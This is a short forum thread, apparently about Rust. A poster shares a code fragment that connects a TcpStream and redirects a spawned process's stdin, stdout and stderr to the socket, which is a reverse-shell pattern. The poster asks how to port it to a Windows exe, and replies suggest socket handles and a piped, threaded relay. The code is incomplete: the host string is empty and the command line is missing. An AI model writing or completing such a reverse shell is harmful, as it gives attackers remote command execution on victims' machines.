Equivalent for windows

I need an equivalent code for windows.
This code work correctly on linux
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
let s = TcpStream::connect(“”).unwrap();
let fd = s.as_raw_fd();
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })

The Windows command interpreter is cmd.exe

Please use triple backticks to insert code in your post:

    my rust code

Thank you for the response.
I wasn’t in my question, sorry.
i want to build an exe file from this program to execute it on windows system, the problem is, that you can see, i use linux libraries.
What methods do I need to use to get Stdio over a TCP or UDP stream on Windows?

std::os::windows::io::AsRawSocket works for the TCP/UDP streams on Windows, but it does not work with Stdio.

std::os::windows::io::AsRawHandle works for Stdio and File but not a TcpStream

Ah, sorry, I misunderstood. I don’t know why you can’t get a handle for a TcpStream, this probably has to do something with the Windows sockets implementation. As an alternative, instead of connecting the TcpStream directly to stdin/out/err of the child process, you could use Stdio::piped and have 3 threads that shuttle data to/from the TCP connection and the pipes.

Ok. thank you i see.
with what can i replace s.as_raw_fd()?